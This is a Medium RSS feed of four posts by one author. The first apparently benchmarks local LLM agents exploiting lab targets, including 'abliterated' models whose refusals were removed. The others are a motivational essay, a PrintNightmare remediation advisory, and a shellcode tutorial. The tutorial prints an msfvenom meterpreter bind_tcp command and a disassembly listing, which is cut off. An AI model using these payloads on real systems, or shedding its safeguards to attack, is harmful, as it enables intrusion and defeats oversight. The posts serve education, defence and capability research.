<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Aditya Chaudhary on Medium]]></title>
        <description><![CDATA[Stories by Aditya Chaudhary on Medium]]></description>
        <link>https://medium.com/@chaudharyaditya?source=rss-630afb2b99f9------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*fbCzuSTaNMFrL7nC5figxw.jpeg</url>
            <title>Stories by Aditya Chaudhary on Medium</title>
            <link>https://medium.com/@chaudharyaditya?source=rss-630afb2b99f9------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 06:18:08 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@chaudharyaditya/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The 27B That Out-Hacked a 120B]]></title>
            <link>https://medium.com/@chaudharyaditya/the-27b-that-out-hacked-a-120b-738701078206?source=rss-630afb2b99f9------2</link>
            <guid isPermaLink="false">https://medium.com/p/738701078206</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[llm]]></category>
            <category><![CDATA[benchmarking]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Aditya Chaudhary]]></dc:creator>
            <pubDate>Thu, 13 Aug 2026 11:30:42 GMT</pubDate>
            <atom:updated>2026-08-13T11:30:42.403Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0ijRKVn4lZ4YHbPQ8apB3Q.png" /></figure><blockquote><em>I built a lab to measure whether local, open-weight LLMs can actually break into things — not talk about it. The results broke almost everything I assumed about size, “uncensored” models, and planning.</em></blockquote><p>There’s a comfortable story about AI and offensive security: the models are getting bigger, bigger means smarter, smarter means more dangerous, and the scariest ones are the “uncensored” jailbroken variants floating around model-sharing sites.</p><p>I spent several days putting that story to an actual test — a reproducible, host-graded test where the model has to <em>do the thing</em>, in a real shell, against a real vulnerable machine, with no way to fake the score. Almost every part of the comfortable story turned out to be wrong.</p><p>The single cleanest way to say it: <strong>a 27-billion-parameter model beat a 120-billion-parameter model, decisively, at hacking. And the smaller one did it alone, on the first try, every time.</strong></p><p>Here’s how that happened, and the five findings underneath it.</p><blockquote><strong><em>Before you scroll — make a prediction</em></strong><em>: Rank six models by how often they’ll fully compromise a target: the biggest, the smallest, the “uncensored” ones, and the one Meta </em>built<em> for agentic work. Hold your guess — the summary below is the reveal.</em></blockquote><h3>TL;DR</h3><ol><li><strong>Size predicts almost nothing.</strong> A 27B model won outright; the 120B — 4½× bigger — never landed a single full compromise.</li><li><strong>“Uncensored” is not better.</strong> Two matched pairs got <em>worse</em> when their guardrails were stripped. Willingness ≠ competence.</li><li><strong>Precision is everything.</strong> Models lose on protocol minutiae — a literal = where the exploit needed %3D — not on reasoning. Call it the Syntax Tax.</li><li><strong>There’s no universal best.</strong> Rankings fully reverse between two targets, and single runs are mostly noise.</li><li><strong>Plans help weak models and break strong ones.</strong> The champion collapsed from 100% to 0% the moment it was handed a plan.</li></ol><p><strong>The through-line: the “~0% on multi-step tasks” cliff is a Statefulness Wall, not a reasoning wall.</strong></p><p><strong>§ 00 — GROUND TRUTH</strong></p><h3>First, a lab you can actually trust</h3><p>Most “can an LLM hack” demos have the same fatal flaw: they ask the model whether it succeeded, and the model says yes. Language models are <em>very</em> good at narrating a triumphant exploit they never performed.</p><p>So the first thing I built was a way to score a hack <strong>without ever trusting the hacker</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2q_psBsjMfRW7Yf8GG-EEw.png" /><figcaption>Fig.00 The harness. The model runs in an agent loop with a real shell against a disposable target; a host-side oracle scores it from the outside. Self-report is never admissible.</figcaption></figure><p>The setup — I call it the <strong>Exploit Gym</strong> — runs entirely on a local Apple M5 Max (128 GB) serving open-weight models one at a time. Each model is dropped into an agent loop with a real bash tool inside a disposable, network-isolated Docker container, and pointed at a deliberately vulnerable target (DVWA; a php-cgi box with the decade-old CVE-2012–1823). Everything is authorized, self-owned, and has no path to the outside world.</p><p>The scoring never asks the model anything. A <strong>host-side oracle</strong> watches the target from the outside and awards a kill-chain “state-depth” from 0 to 5:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xNv4h2LX4Dh4qZNTntRI8Q.png" /></figure><p>That top rung is the whole point. On every run I plant a secret at /opt/attest/secret, readable only by the web user, sitting outside the web root and outside the database. The SQL-injection path returns NULL for it; the web path 404s. The <strong>only</strong> way to read that secret is to genuinely execute code on the box. A model scores a 5 only when it plants a working web shell that hands that secret back over HTTP. You cannot bluff your way to a 5. There is no self-report to inflate.</p><p>That un-fakeable ground truth is what makes the rest of this worth reading.</p><p><strong>§ 01 — SIZE</strong></p><h3>Size predicts almost nothing</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C6sC4aOj8A6h8nc-NXZlBg.png" /><figcaption>Fig.01 DVWA full-compromise track. Mean kill-chain depth, three epochs each; bar label = share of runs reaching full attested persistence.</figcaption></figure><p>On the DVWA full-compromise track, the ranking looks like someone shuffled the parameter counts:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xgDWlB1z9se94V2IYBqRMQ.png" /></figure><p>The biggest model in the field — gpt-oss-120b, at roughly 4½× the champion’s size — never once completed a full compromise. It authenticates, then stalls, unable to convert a command-injection foothold into code execution. Meanwhile a 27B model went five-for-five.</p><p>If parameter count were the axis of danger, this table would be sorted. It isn’t. So what <em>is</em> the axis?</p><p><strong>§ 02 — WILLINGNESS</strong></p><h3>“Uncensoring” a model made it worse at hacking</h3><p>This is the one I’d bet money against beforehand, and the data is unambiguous.</p><p>“Abliteration” is a technique that surgically removes a model’s ability to refuse — the DIY route to an “uncensored” model. The intuition is obvious: strip the safety training, get a more willing hacker. I tested it the clean way — <strong>matched pairs</strong>, same architecture, only the alignment removed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4uD7hb2Ru_jjexDxNjq6nA.png" /><figcaption>Fig.02 Two matched base-vs-abliterated pairs. Both “uncensored” twins score lower. Neither ever lands a full compromise.</figcaption></figure><p>Both twins got <em>worse</em>. Neither uncensored version ever landed a full compromise. And critically — this wasn’t refusal. The uncensored models weren’t declining to hack; they were <strong>failing to execute</strong>. They tried, and fumbled.</p><blockquote><em>“Removing a model’s guardrails removes its guardrails. It does not install skill.” </em><strong><em>Willingness ≠ competence.</em></strong></blockquote><p>There’s a genuine nuance here, and I won’t hide it: the overall champion, Huihui-27B, is <em>itself</em> an abliterated model. So the honest claim is not “abliteration always fails” — it’s that the “uncensored” label predicts almost nothing, and in controlled pairs, stripping alignment <em>degraded</em> capability. If it’s not size and not willingness, what separates the winners from the losers?</p><p><strong>§ 03 — PRECISION</strong></p><h3>It comes down to one percent sign</h3><p>Here’s the whole ballgame, in a single character.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x-A1pIJ3NwsRl2LYNpP2Gg.png" /><figcaption>Fig.03 The Syntax Tax. A literal = where the exploit needs %3D — the model knew the vulnerability and still fired blanks.</figcaption></figure><p>Meta’s Muse Glimmer 30B is a model <em>purpose-built</em> for local agentic tool use — Meta’s own materials sell it on reliable tool calls and multi-step reasoning. Against the php-cgi target it clearly <em>knew</em> the exploit (CVE-2012–1823). It fired the correct shape of payload eleven to thirteen times. And it never got code execution once — because it sent the injected options with a literal = where the exploit only triggers if those signs are URL-encoded as %3D. With a raw =, php-cgi treats the string as an ordinary query and ignores the injected flags. The model had the entire exploit right except for the encoding.</p><p>On DVWA, the same class of failure showed up differently: models burned their whole turn budget <em>fumbling a regex</em> to scrape the anti-CSRF token out of the login page — and hit the message limit before they ever reached the injection they knew how to run.</p><p>I call this the <strong>Syntax Tax</strong>: capability lost not to reasoning, but to protocol and encoding minutiae. <strong>Knowing the vulnerability is not the same as emitting bytes the target will accept.</strong> The gap between “understands the exploit” and “lands the exploit” is where nearly every model loses — and it has nothing to do with how clever the model sounds.</p><p><strong>§ 04 — DIRECTION</strong></p><h3>There is no “best hacking model”</h3><p>Rank the models on DVWA, then rank them on php-cgi, and the lists nearly <strong>invert</strong>. The abliterated Qwen “Heretic” — middling on DVWA — was the <em>only</em> model in its cohort to reliably land the php-cgi RCE. The DVWA champions couldn’t touch it.</p><p>Offensive capability has <em>direction</em>. A model strong against one target can be weak against the next, because each target rewards a different exact skill. A single-target score is a shadow, not the object.</p><p>And there’s a second, humbling wrinkle: <strong>the runs disagree with each other.</strong> The same model, same target, swings from depth 1 to depth 5 across three attempts. Report a single run and you’ve reported noise. The multi-step exploit chain is a <em>high-variance</em> capability — which means most one-shot “we tested model X” claims (including the tempting version of this article) are quietly untrustworthy.</p><p><strong>§ 05 — ORCHESTRATION</strong></p><h3>A plan rescued the weak model and broke the champion</h3><p>Two-tier “planner → executor” setups are fashionable: let a strong reasoning model write the attack plan, let a capable model execute it. Does it help? It depends entirely — and inversely — on how good the executor already is.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RbHS1_5DKXyMQ1OhuvPSuQ.png" /><figcaption>Fig.04 Give a plan to a weak executor and it snaps into focus (0→100%). Give one to the champion and it collapses (100→0%). The lines cross.</figcaption></figure><p>Reading the champion’s transcripts, the mechanism is almost funny: handed a runbook, it <em>dutifully followed the procedure</em> — meticulously working through the plan’s prescribed login steps — and exhausted its turn budget on ceremony before reaching the exploit it nails effortlessly on its own.</p><p><strong>Plan value is inversely related to the executor’s solo skill.</strong> A plan is a crutch for a weak model and a straitjacket for a strong one. Orchestration isn’t a free upgrade you bolt onto everything; it’s a targeted fix for models that can’t self-direct.</p><p><strong>§ 06 — THE THESIS</strong></p><h3>It all adds up to a Statefulness Wall</h3><p>Step back and every finding points the same direction. The models that lose don’t lose because they can’t <em>reason</em> about the vulnerability — they can, often eloquently. They lose because they can’t reliably carry state through a chain: keep a session alive, construct one exact request, read the response, adjust, and persist.</p><p>The near-universal “~0% on multi-step tasks” cliff isn’t a reasoning wall. It’s a <strong>Statefulness Wall</strong> — the gap between knowing the steps and executing them coherently, in order, with the bytes exactly right, without running out of turns. Bigger models don’t clear it. Uncensored models don’t clear it. The model <em>marketed</em> for agentic work didn’t clear it. The 27B that happens to be disciplined about protocol details did.</p><p>For defenders, that’s oddly reassuring and genuinely useful at once: the thing to measure isn’t a model’s raw intelligence or its willingness — it’s its <strong>execution reliability across a stateful chain.</strong> That’s the capability that actually converts a known vulnerability into a compromised machine, and it’s the one almost nobody is benchmarking.</p><blockquote><strong>So — how did your ranking do?</strong></blockquote><blockquote>If you sorted by size, or bet on the uncensored models, or picked the one built for the job, the scoreboard disagreed with you. That’s the point. Our intuitions about AI danger are calibrated to how models <em>talk</em>. This lab measures what they <em>do</em> — from the outside, where they can’t grade their own homework.</blockquote><p>METHODOLOGY &amp; SCOPE — All testing was conducted in an isolated, self-owned lab against disposable targets with no external network access, using only long-public CVEs. No novel exploits or reusable payloads are published.</p><blockquote>This research and write-up were produced with the assistance of AI.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=738701078206" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Complexity of Achievement: Beyond the Power of Why]]></title>
            <link>https://medium.com/@chaudharyaditya/the-complexity-of-achievement-beyond-the-power-of-why-390efe2dc628?source=rss-630afb2b99f9------2</link>
            <guid isPermaLink="false">https://medium.com/p/390efe2dc628</guid>
            <dc:creator><![CDATA[Aditya Chaudhary]]></dc:creator>
            <pubDate>Wed, 31 Jan 2024 16:36:53 GMT</pubDate>
            <atom:updated>2024-01-31T16:36:53.716Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>“If the why is powerful, how is easy” — Jim Rohn</blockquote><p>Jim Rohn, a renowned motivational speaker, once said, “If the why is powerful, the how is easy.” This quote suggests that if one’s motivation or reason for doing something is strong enough, the process of achieving it becomes straightforward. However, while a powerful ‘why’ can indeed provide a strong driving force, the journey towards achievement is often more complex and challenging than this quote implies. This thesis aims to explore the complexities of achievement, arguing that even with a powerful ‘why’, the ‘how’ can still present significant challenges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i9TZ5O-cKLSrY46mGAHltw.png" /><figcaption>The great puzzle of life</figcaption></figure><h3>The Power of ‘Why’</h3><p>The ‘why’ in Rohn’s quote refers to the motivation or reason behind our goals. It is the driving force that propels us towards achievement. A strong ‘why’ can provide a sense of purpose and direction, nurturing our motivation and sustaining us on our journey towards our goals[2]. It is the intrinsic motivation that comes from within, the personal value we attach to our goals[6].</p><h3>The Complexity of ‘How’</h3><p>Despite the power of a strong ‘why’, the ‘how’ — the process of achieving our goals — can be fraught with challenges. These challenges can come in various forms, such as fear of failure, lack of clarity, procrastination, lack of support, and negative self-talk[1]. Other common obstacles include perfectionism, time management issues, and making excuses[5].</p><p>Fear of failure, for instance, is a significant barrier to reaching our goals. It can prevent us from taking necessary risks and seizing opportunities[1]. Negative thinking can also be a potent block, escalating quickly and potentially becoming a self-fulfilling prophecy[8].</p><p>Moreover, the process of achieving goals requires not just motivation, but also resources. Goals that are too ambitious, complex, or demanding, or not supported by adequate resources such as time, money, equipment, or personnel, can lead to stress, burnout, and failure[11].</p><h3>The Role of Perseverance and Flexibility</h3><p>Perseverance is a key quality in overcoming these challenges. It helps us grow, reach our full potential, gain self-confidence, and turn failures into learning opportunities[4]. However, perseverance alone is not enough. Flexibility is also crucial in the face of changing circumstances, needs, or expectations. A lack of flexibility can lead to rigidity, resistance, and stagnation, as well as missed opportunities for innovation and adaptation[11].</p><h3>Conclusion</h3><p>While a powerful ‘why’ can provide a strong motivation, the process of achieving our goals — the ‘how’ — is often more complex and challenging than it may initially seem. It involves not only overcoming various obstacles but also cultivating qualities such as perseverance and flexibility. Therefore, while the ‘why’ is indeed powerful, the ‘how’ is rarely easy. However, by acknowledging and addressing these complexities, we can better navigate our journey towards achievement, making it not just a challenge, but a rewarding experience.</p><blockquote>“If the ‘why’ is powerful, the ‘how’ is challenging yet rewarding.”</blockquote><h4>Citations</h4><p>[1] <a href="https://www.agorapulse.com/blog/obstacles-to-reaching-your-goals/">https://www.agorapulse.com/blog/obstacles-to-reaching-your-goals/</a><br>[2] <a href="https://www.cuesta.edu/student/resources/ssc/study_guides/study_skills/502_study_goals.html">https://www.cuesta.edu/student/resources/ssc/study_guides/study_skills/502_study_goals.html</a><br>[3] <a href="https://www.psychologytoday.com/us/blog/psychology-yesterday/202306/the-psychology-of-success">https://www.psychologytoday.com/us/blog/psychology-yesterday/202306/the-psychology-of-success</a><br>[4] <a href="https://www.linkedin.com/pulse/perseverance-important-quality-because-you-face-challenges-gupta">https://www.linkedin.com/pulse/perseverance-important-quality-because-you-face-challenges-gupta</a><br>[5] <a href="https://www.linkedin.com/pulse/most-common-challenges-achieving-our-goals-how-avoid-them-strick">https://www.linkedin.com/pulse/most-common-challenges-achieving-our-goals-how-avoid-them-strick</a><br>[6] <a href="https://www.outsideonline.com/running/training/science/the-psychology-of-setting-motivating-and-satisfying-goals/">https://www.outsideonline.com/running/training/science/the-psychology-of-setting-motivating-and-satisfying-goals/</a><br>[7] <a href="https://www.psychologs.com/the-psychology-behind-success/">https://www.psychologs.com/the-psychology-behind-success/</a><br>[8] <a href="https://gorainmakers.com/2021/04/26/7-common-obstacles-to-your-goals-and-how-to-navigate-them/">https://gorainmakers.com/2021/04/26/7-common-obstacles-to-your-goals-and-how-to-navigate-them/</a><br>[9] <a href="https://www.betterup.com/blog/how-motivation-helps-in-achieving-goals">https://www.betterup.com/blog/how-motivation-helps-in-achieving-goals</a><br>[10] <a href="https://www.mheducation.com/highered/product/psychology-success-waitley/M9781259924965.html">https://www.mheducation.com/highered/product/psychology-success-waitley/M9781259924965.html</a><br>[11] <a href="https://www.linkedin.com/advice/1/what-most-common-challenges-setting-achieving">https://www.linkedin.com/advice/1/what-most-common-challenges-setting-achieving</a><br>[12] <a href="https://otis.libguides.com/success_guide/goal_setting">https://otis.libguides.com/success_guide/goal_setting</a><br>[13] <a href="https://www.amazon.com/Mindset-Psychology-Carol-S-Dweck/dp/0345472322">https://www.amazon.com/Mindset-Psychology-Carol-S-Dweck/dp/0345472322</a><br>[14] <a href="https://beyourbetteryou.com/obstacles-to-achieving-goals/">https://beyourbetteryou.com/obstacles-to-achieving-goals/</a><br>[15] <a href="https://www.betterup.com/blog/goal-setting-theory">https://www.betterup.com/blog/goal-setting-theory</a><br>[16] <a href="https://www.psychologytoday.com/intl/blog/mind-over-money/201910/the-psychology-success">https://www.psychologytoday.com/intl/blog/mind-over-money/201910/the-psychology-success</a><br>[17] <a href="https://www.indeed.com/career-advice/career-development/challenges-that-affect-career-goals">https://www.indeed.com/career-advice/career-development/challenges-that-affect-career-goals</a><br>[18] <a href="https://positivepsychology.com/benefits-goal-setting/">https://positivepsychology.com/benefits-goal-setting/</a><br>[19] <a href="https://www.amazon.com/Psychology-Success-Denis-Waitley-Ph-D/dp/0077836332">https://www.amazon.com/Psychology-Success-Denis-Waitley-Ph-D/dp/0077836332</a><br>[20] <a href="https://www.everyoneactive.com/content-hub/health/barriers/">https://www.everyoneactive.com/content-hub/health/barriers/</a><br>[21] <a href="https://socialsci.libretexts.org/Bookshelves/Counseling_and_Guidance/Book:_College_Success_(OpenStax)/03:_Managing_Your_Time_and_Priorities/3.06:_Goal_Setting_and_Motivation">https://socialsci.libretexts.org/Bookshelves/Counseling_and_Guidance/Book:_College_Success_(OpenStax)/03:_Managing_Your_Time_and_Priorities/3.06:_Goal_Setting_and_Motivation</a><br>[22] <a href="https://www.gcu.edu/blog/business-management/psychology-success-focus-what-matters">https://www.gcu.edu/blog/business-management/psychology-success-focus-what-matters</a><br>[23] <a href="https://successindepth.com/obstacles-to-achieving-goals/">https://successindepth.com/obstacles-to-achieving-goals/</a><br>[24] <a href="https://www.uww.edu/student-success/motivation-and-goal-setting">https://www.uww.edu/student-success/motivation-and-goal-setting</a><br>[25] <a href="https://www.linkedin.com/pulse/psychology-success-how-your-mindset-shapes-career-talentdbyworldref">https://www.linkedin.com/pulse/psychology-success-how-your-mindset-shapes-career-talentdbyworldref</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=390efe2dc628" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Print Spooler — A True Nightmare]]></title>
            <link>https://medium.com/@chaudharyaditya/windows-print-spooler-a-true-nightmare-ed840a683f4d?source=rss-630afb2b99f9------2</link>
            <guid isPermaLink="false">https://medium.com/p/ed840a683f4d</guid>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[printnightmare]]></category>
            <category><![CDATA[print-spooler]]></category>
            <category><![CDATA[remote-code-execution]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Aditya Chaudhary]]></dc:creator>
            <pubDate>Fri, 23 Jul 2021 22:23:59 GMT</pubDate>
            <atom:updated>2021-07-23T22:23:59.217Z</atom:updated>
            <content:encoded><![CDATA[<h3>Windows Print Spooler — A True Nightmare</h3><p>This is a technical article describing the PrintNightmare vulnerability, its impact and remediation process for different endpoints and servers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*r5Hr9HD9lqHk8uCAsuOqoA.png" /><figcaption>Source: The Hacker News — <a href="https://thehackernews.com/2021/07/microsoft-warns-of-critical.html">https://thehackernews.com/2021/07/microsoft-warns-of-critical.html</a></figcaption></figure><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/2f02be942f6747bc5e897dfebaef4de7/href">https://medium.com/media/2f02be942f6747bc5e897dfebaef4de7/href</a></iframe><p>A remote code execution vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations. An attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.</p><h3>Microsoft lists two options as workarounds for the issue:</h3><p>1. Disable the Print Spooler service<br>2. Disable inbound remote printing through Group Policy</p><p>While publicly known as <strong>PrintNightmare</strong>, Microsoft has assigned the name <strong>CVE-2021–34527 </strong>to the vulnerability.<br>Microsoft is still investigating the severity of this vulnerability. The company is also investigating if all versions of Windows are exploitable.</p><blockquote>“The code that contains the vulnerability is in all versions of Windows,” says Microsoft. “We are still investigating whether all versions are exploitable. We will update this CVE when that information is evident.”</blockquote><h3>Affects</h3><p><strong>CVE-2021–1675</strong> &amp; <strong>CVE-2021–34527</strong> affects various versions of <strong>Windows Server (2004, 2008, 2008 R2, 2012, 2012 R2, 2016, 2019, 20H2) </strong>and <strong>Windows (7, 8.1, RT 8.1, 10)</strong>.</p><blockquote>The Windows Print Spooler is an application / interface / service that interacts with local or networked printers and manages the printing process.</blockquote><blockquote>“We recommend that you install these updates immediately,” says Microsoft. “The security updates released on and after July 6, 2021 contain protections for CVE-2021–1675 and the additional remote code execution exploit in the Windows Print Spooler service known as ‘PrintNightmare’, documented in CVE-2021–34527.”</blockquote><h3>Detection</h3><p>Enable “<strong>PrintService-Operational</strong>” event logging. Exploit attempts (successful or not) will trigger event.</p><p>Also see this GitHub: <a href="https://github.com/LaresLLC/CVE-2021-1675">https://github.com/LaresLLC/CVE-2021-1675</a></p><h3>Impact</h3><p>This vulnerability can be used to achieve <strong>LPE (Local Privilege Escalation) </strong>and <strong>RCE (Remote Code Execution)</strong>. As for the RCE part, you need a user to authenticated on the Spooler service. However, this is still critical in Domain environment. Because normally DC will have Spooler service enable, a compromised domain user may use this vulnerability to control the DC.</p><blockquote>It is suspected — <strong>Many more hidden bombs in Spooler, which are not public known.</strong></blockquote><h3>Exploitation Vectors</h3><p>This vulnerability has 2 attack vectors known till date -</p><ol><li>Remote Code Execution</li><li>Local Privilege Escalation</li></ol><h4>1. Remote Code Execution</h4><p>The prerequisites for the exploit to work:</p><ol><li><em>Print Spooler service running</em></li><li><em>Print Spooler accepts client connections (Enabled in Group Policies)</em></li><li><em>Attacker has valid domain/system account or LMHashes/NTHashes</em></li></ol><blockquote>The impact is critical in Domain environment with relatively easy exploitation.</blockquote><p><strong>Patch &amp; Remediation</strong></p><p>To prevent remote exploitation -</p><ol><li><em>Apply Windows July 6, 2021 patch update — </em><strong><em>Patch</em></strong></li><li><em>Disable inbound remote printing through Group Policy — </em><strong><em>Workaround</em></strong></li><li><em>Disable the Print Spooler service — </em><strong><em>Patch</em></strong></li><li><em>Enable Windows Firewall to disable incoming connections to ports 49152–65535 — </em><strong><em>Temporary Workaround</em></strong></li></ol><h4>2. Local Privilege Escalation</h4><p>The prerequisites for the exploit to work:</p><ol><li><em>Print Spooler service running</em></li></ol><blockquote>The exploit is relatively easy and antivirus would not be able to reliably detect the exploitation/attack.</blockquote><p><strong>Patch &amp; Remediation</strong></p><p>To prevent remote exploitation -</p><ol><li><em>Apply Windows July 6, 2021 patch update — </em><strong><em>Patch</em></strong></li><li><em>Disable the Print Spooler service — </em><strong><em>Patch</em></strong></li></ol><h3>Remediation Summary</h3><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/3a885804e01f2984ab3c429eb4a86aab/href">https://medium.com/media/3a885804e01f2984ab3c429eb4a86aab/href</a></iframe><blockquote>Note that the security updates released on and after July 6, 2021 contain protections for CVE-2021–1675 and the additional remote code execution exploit in the Windows Print Spooler service known as “PrintNightmare”, documented in CVE-2021–34527.</blockquote><h3>Sources &amp; References</h3><p><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527</a></p><p><a href="https://www.helpnetsecurity.com/2021/06/30/poc-cve-2021-1675/">https://www.helpnetsecurity.com/2021/06/30/poc-cve-2021-1675/</a></p><p><a href="https://www.theverge.com/2021/7/6/22565868/microsoft-printnightmare-windows-print-spooler-service-emergency-patch-hotfix">https://www.theverge.com/2021/7/6/22565868/microsoft-printnightmare-windows-print-spooler-service-emergency-patch-hotfix</a></p><p><a href="https://www.windowscentral.com/windows-printnightmare-vulnerability-being-actively-exploited-according-microsoft">https://www.windowscentral.com/windows-printnightmare-vulnerability-being-actively-exploited-according-microsoft</a></p><p><a href="https://github.com/afwu/PrintNightmare">https://github.com/afwu/PrintNightmare</a></p><p><a href="https://support.microsoft.com/en-us/topic/kb5005010-restricting-installation-of-new-printer-drivers-after-applying-the-july-6-2021-updates-31b91c02-05bc-4ada-a7ea-183b129578a7">https://support.microsoft.com/en-us/topic/kb5005010-restricting-installation-of-new-printer-drivers-after-applying-the-july-6-2021-updates-31b91c02–05bc-4ada-a7ea-183b129578a7</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ed840a683f4d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SLAE 0x5: Part III — Analyzing MSFvenom ‘linux/x86/meterpreter/bind_tcp’ shellcode]]></title>
            <link>https://medium.com/@chaudharyaditya/slae-0x5-part-iii-analyzing-msfvenom-linux-x86-meterpreter-bind-tcp-shellcode-ecc0945a44e4?source=rss-630afb2b99f9------2</link>
            <guid isPermaLink="false">https://medium.com/p/ecc0945a44e4</guid>
            <category><![CDATA[slaes]]></category>
            <category><![CDATA[msfvenom]]></category>
            <category><![CDATA[shellcoding]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[meterpreter]]></category>
            <dc:creator><![CDATA[Aditya Chaudhary]]></dc:creator>
            <pubDate>Fri, 08 Feb 2019 13:03:27 GMT</pubDate>
            <atom:updated>2019-02-26T07:54:04.341Z</atom:updated>
            <content:encoded><![CDATA[<h3>SLAE 0x5: Part III — Analyzing MSFvenom ‘linux/x86/meterpreter/bind_tcp’ shellcode</h3><p>In this post we will analyse <strong>linux/x86/meterpreter/bind_tcp</strong> shellcode. If you haven’t read the part I, you can start from there:</p><p><a href="https://medium.com/@chaudharyaditya/slae-0x5-part-i-analyzing-msfvenom-linux-x86-exec-shellcode-3aef6aad4f70">SLAE 0x5: Part I — Analyzing MSFvenom ‘linux/x86/exec’ shellcode</a></p><blockquote><strong><em>Shellcode</em></strong><em> is basically a list of carefully crafted instructions that can be executed once the code is injected into a running application. Stack and heap-based buffer overflows are the most popular way of doing so.</em></blockquote><p>I would recommend that you should do through the basics of shellcoding and MSFvenom before diving head first in this post. For the basics of shellcoding, I would recommend you go through the below mentioned blogs to catch up quickly.</p><ul><li><a href="https://medium.com/@chaudharyaditya/slae-0x1-linux-x86-bind-shellcode-e2d4d8cd46fd">SLAE 0x1: Linux/x86 Bind Shellcode</a></li><li><a href="https://medium.com/@chaudharyaditya/slae-0x2-linux-x86-reverse-shellcode-d7126d638aff">SLAE 0x2: Linux/x86 Reverse Shellcode</a></li></ul><h3>TL;DR</h3><p>Since we live in the era of widespread attention and time deficiency, here’s the summarised version of this entire story:</p><ul><li>Generating the shellcode using MSFvenom</li><li>Disassemble Shellcode — Ndisasm</li><li>Analyze the disassembled instruction set</li></ul><h4>Generating Shellcode</h4><p>Let’s generate the shellcode using <strong>msfvenom</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wxJCmJ-peEY62JjBpxVjUg.png" /><figcaption>msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=4444 -a x86 — platform Linux -f raw -o linux_x86_meterpreter_bind_tcp</figcaption></figure><h4>Dump Shellcode — Ndisasm</h4><p>Let’s use <strong>ndisasm</strong> to generate assembly shellcode from the above generated binary file.</p><p>ndisasm -u linux_x86_meterpreter_bind_tcp</p><pre>00000000  6A7D              <strong>push byte +0x7d</strong><br>00000002  58                <strong>pop eax</strong><br>00000003  99                cdq<br>00000004  B207              mov dl,0x7<br>00000006  B900100000        mov ecx,0x1000<br>0000000B  89E3              mov ebx,esp<br>0000000D  6681E300F0        and bx,0xf000<br>00000012  CD80              <strong>int 0x80</strong><br>00000014  31DB              xor ebx,ebx<br>00000016  F7E3              mul ebx<br>00000018  53                push ebx<br>00000019  43                inc ebx<br>0000001A  53                push ebx<br>0000001B  6A02              push byte +0x2<br>0000001D  89E1              mov ecx,esp<br>0000001F  B066              <strong>mov al,0x66</strong><br>00000021  CD80              <strong>int 0x80</strong><br>00000023  51                push ecx<br>00000024  6A04              push byte +0x4<br>00000026  54                push esp<br>00000027  6A02              push byte +0x2<br>00000029  6A01              push byte +0x1<br>0000002B  50                push eax<br>0000002C  97                xchg eax,edi<br>0000002D  89E1              mov ecx,esp<br>0000002F  6A0E              push byte +0xe<br>00000031  5B                pop ebx<br>00000032  6A66              <strong>push byte +0x66</strong><br>00000034  58                <strong>pop eax</strong><br>00000035  CD80              <strong>int 0x80</strong><br>00000037  97                xchg eax,edi<br>00000038  83C414            add esp,byte +0x14<br>0000003B  59                pop ecx<br>0000003C  5B                pop ebx<br>0000003D  5E                pop esi<br>0000003E  52                push edx<br>0000003F  680200115C        push dword 0x5c110002<br>00000044  6A10              push byte +0x10<br>00000046  51                push ecx<br>00000047  50                push eax<br>00000048  89E1              mov ecx,esp<br>0000004A  6A66              <strong>push byte +0x66</strong><br>0000004C  